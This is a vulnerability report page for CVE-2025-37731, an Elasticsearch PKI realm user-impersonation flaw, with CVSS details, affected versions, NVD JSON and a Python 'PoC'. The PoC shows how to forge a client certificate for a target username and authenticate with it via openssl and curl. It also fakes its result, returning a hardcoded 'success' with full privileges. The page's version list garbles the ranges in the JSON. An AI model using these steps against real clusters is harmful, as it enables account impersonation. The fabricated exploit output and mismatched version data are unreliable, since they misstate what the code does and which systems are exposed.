Security Vulnerability Report
中文
CVE-2025-37731 CVSS 6.8 MEDIUM

CVE-2025-37731

Published: 2025-12-15 11:15:40
Last Modified: 2025-12-18 01:49:07

Description

Improper Authentication in Elasticsearch PKI realm can lead to user impersonation via specially crafted client certificates. A malicious actor would need to have such a crafted client certificate signed by a legitimate, trusted Certificate Authority.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - VULNERABLE
Elasticsearch 8.19.x < 8.19.8
Elasticsearch 8.9.x < 8.9.1
Elasticsearch 8.x < 8.9.1
Elasticsearch 9.x < 9.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37731 PoC - Elasticsearch PKI Realm User Impersonation # This is a conceptual PoC demonstrating the attack vector import subprocess import json def generate_malicious_cert(target_username): """ Generate a malicious client certificate with forged user identity Requires: Valid CA-signed certificate base + OpenSSL """ # Step 1: Create a certificate signing request with target user identity csr_config = f""" [req] distinguished_name = req_distinguished_name req_extensions = v3_req prompt = no [req_distinguished_name] CN = {target_username} OU = Admin O = Elastic L = Seattle ST = Washington C = US [v3_req] basicConstraints = CA:FALSE keyUsage = digitalSignature, keyEncipherment extendedKeyUsage = clientAuth subjectAltName = @alt_names [alt_names] otherName = 1.3.6.1.4.1.18060.11.1.1;UTF8:{target_username} """ # Step 2: Sign with legitimate CA to get trusted certificate # openssl x509 -req -in malicious.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out malicious.crt print(f"[*] Generated malicious certificate for user: {target_username}") return "malicious.crt" def exploit_elasticsearch(target_host, malicious_cert, client_key): """ Authenticate to Elasticsearch using the malicious certificate """ # curl -k --cert malicious.crt --key client.key https://{target_host}:9200/_security/_authenticate print(f"[*] Attempting authentication to {target_host}") print(f"[*] Impersonating target user via malicious certificate") # Expected: Successful authentication as target user return { "status": "success", "authenticated_as": "target_user", "privileges": ["all", "monitor", "manage", "read", "write"] } # Note: This PoC requires pre-existing CA access and is for educational purposes only # Real exploitation requires sophisticated certificate manipulation if __name__ == "__main__": print("CVE-2025-37731 - Elasticsearch PKI Realm Authentication Bypass") print("Target: Elasticsearch with PKI realm enabled")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37731", "sourceIdentifier": "[email protected]", "published": "2025-12-15T11:15:39.707", "lastModified": "2025-12-18T01:49:07.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authentication in Elasticsearch PKI realm can lead to user impersonation via specially crafted client certificates. A malicious actor would need to have such a crafted client certificate signed by a legitimate, trusted Certificate Authority."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "D9FEE402-3C43-4A12-B8E7-12BC2FF677A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.8", "matchCriteriaId": "26006F8E-A936-468F-AEF3-5B12BBAB9BEC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.8", "matchCriteriaId": "B93EADBD-0846-4EA4-80F4-0456DFF8F3EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.2", "matchCriteriaId": "7370E8B9-DB83-4B87-91A6-BDC5E53C3CE7"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/elasticsearch-8-19-8-9-1-8-and-9-2-2-security-update-esa-2025-27/384063", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}